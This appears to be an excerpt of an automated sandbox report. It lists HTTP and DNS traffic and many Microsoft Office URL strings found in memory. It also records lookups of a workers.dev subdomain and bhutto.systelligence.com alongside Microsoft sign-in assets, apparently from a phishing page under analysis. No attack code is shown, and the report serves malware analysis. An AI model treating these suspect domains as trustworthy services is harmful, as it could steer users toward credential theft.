Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net

Source: global traffic	DNS traffic detected: DNS query: ppoe383938373.94f753c2d1263a70cd44ea51.workers.dev
Source: global traffic	DNS traffic detected: DNS query: bhutto.systelligence.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: cdn.socket.io
Source: global traffic	DNS traffic detected: DNS query: www.w3schools.com
Source: global traffic	DNS traffic detected: DNS query: aadcdn.msftauth.net
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com

Source: unknown

HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 3592Host: login.live.com

Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: http://b.c2r.ts.cdn.office.net/pr
Source: 57C8EDB95DF3F0AD4EE2DC2B8CFD41570.0.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: http://olkflt.edog.officeapps.live.com/olkflt/outlookflighting.svc/api/glides
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: http://weather.service.msn.com/data.aspx
Source: chromecache_76.6.dr	String found in binary or memory: https://aadcdn.msauth.net/shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.
Source: chromecache_82.6.dr, chromecache_76.6.dr	String found in binary or memory: https://aadcdn.msauth.net/shared/1.0/content/images/picker_verify_sms_12b7d768ba76f2e782cc74e3281710
Source: chromecache_82.6.dr, chromecache_76.6.dr	String found in binary or memory: https://aadcdn.msftauth.net/shared/1.0/content/images/appbackgrounds/49_6ffe0a92d779c878835b40171ffc
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://addinsinstallation.store.office.com/app/acquisitionlogging
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://addinsinstallation.store.office.com/app/download
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://addinsinstallation.store.office.com/appinstall/authenticated
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://addinsinstallation.store.office.com/appinstall/preinstalled
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://addinsinstallation.store.office.com/appinstall/unauthenticated
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://addinsinstallation.store.office.com/orgid/appinstall/authenticated
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://addinslicensing.store.office.com/apps/remove
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://addinslicensing.store.office.com/commerce/query
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://addinslicensing.store.office.com/entitlement/query
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://addinslicensing.store.office.com/orgid/apps/remove
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://addinslicensing.store.office.com/orgid/entitlement/query
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://analysis.windows.net/powerbi/api
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://apc.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://api.aadrm.com
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://api.aadrm.com/
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://api.addins.omex.office.net/api/addins/search
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://api.addins.omex.office.net/appinfo/query
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://api.addins.omex.office.net/appstate/query
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://api.addins.store.office.com/addinstemplate
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://api.addins.store.office.com/app/query
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://api.addins.store.officeppe.com/addinstemplate
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://api.cortana.ai
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://api.diagnostics.office.com
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://api.diagnosticssdf.office.com
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://api.diagnosticssdf.office.com/v2/feedback
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://api.diagnosticssdf.office.com/v2/file
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://api.microsoftstream.com
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://api.microsoftstream.com/api/
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://api.office.net
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://api.officescripts.microsoftusercontent.com/api
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://api.onedrive.com
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://api.powerbi.com/v1.0/myorg/datasets
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://api.powerbi.com/v1.0/myorg/groups
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://api.powerbi.com/v1.0/myorg/imports
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://api.scheduler.
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://apis.live.net/v5.0/
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://apis.mobile.m365.svc.cloud.microsoft
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://app.powerbi.com
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://arc.msn.com/v4/api/selection
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://asgsmsproxyapi.azurewebsites.net/
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://augloop.office.com
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://augloop.office.com/v2
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://augloop.office.com;https://augloop-int.officeppe.com;https://augloop-dogfood.officeppe.com;h
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://autodiscover-s.outlook.com/
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://canary.designerapp.
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://cdn.designerapp.osi.office.net
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://cdn.designerapp.osi.office.net/designer-mobile
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://cdn.designerapp.osi.office.net/designerapp/fonts
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://cdn.designerapp.osi.office.net/designerapp/mobile-assets
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://cdn.designerapp.osi.office.net/designerapp/mobile-dynamic-strings
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://cdn.designerapp.osi.office.net/designerapp/mobile-home-screen
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://cdn.designerapp.osi.office.net/designerapp/mobile-toolbar
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://cdn.entity.
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://cdn.hubblecontent.osi.office.net/
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://cdn.int.designerapp.osi.office.net/fonts
Source: chromecache_82.6.dr, chromecache_76.6.dr	String found in binary or memory: https://cdn.socket.io/4.6.0/socket.io.min.js
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://client-office365-tas.msedge.net/ab
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://clients.config.office.net
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://clients.config.office.net/
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://clients.config.office.net/c2r/v1.0/DeltaAdvisory
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://clients.config.office.net/c2r/v1.0/InteractiveInstallation
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/android/policies
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/ios
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/mac
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/tenantassociationkey
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://cloudfiles.onenote.com/upload.aspx
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://config.edge.skype.com/config/v1/Office
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://config.edge.skype.com/config/v2/Office
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://consent.config.office.com/consentcheckin/v1.0/consents
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://consent.config.office.com/consentweb/v1.0/consents
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://cortana.ai
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://cortana.ai/api
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://cr.office.com
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://d.docs.live.net
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://dataservice.o365filtering.com
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://dataservice.o365filtering.com/
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://dataservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPolicies
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://designerapp.azurewebsites.net
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://designerappservice.officeapps.live.com
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://dev.cortana.ai
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://dev0-api.acompli.net/autodetect
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://devnull.onenote.com
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://directory.services.
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://ecs.office.com
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://ecs.office.com/config/v1/Designer
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://ecs.office.com/config/v2/Office
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://edge.skype.com/registrar/prod
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://edge.skype.com/rps
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://enrichment.osi.office.net/
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/Refresh/v1
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/Resolve/v1
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/Search/v1
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/StockHistory/v1
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/ipcheck/v1
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/v2.1601652342626
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/Metadata/
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/Metadata/metadata.json
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/view/desktop/main.cshtml
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/view/web/main.cshtml
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://entitlement.diagnostics.office.com
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://entitlement.diagnosticssdf.office.com
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://eur.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://excel.uservoice.com/forums/304936-excel-for-mobile-devices-tablets-phones-android
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://fpastorage.cdn.office.net/%s
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://fpastorage.cdn.office.net/firstpartyapp/addins.xml
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://globaldisco.crm.dynamics.com
Source: chromecache_82.6.dr, chromecache_76.6.dr	String found in binary or memory: https://google.com
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://graph.ppe.windows.net
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://graph.ppe.windows.net/
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://graph.windows.net
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://graph.windows.net/
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/api/pivots/
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/api/telemetry
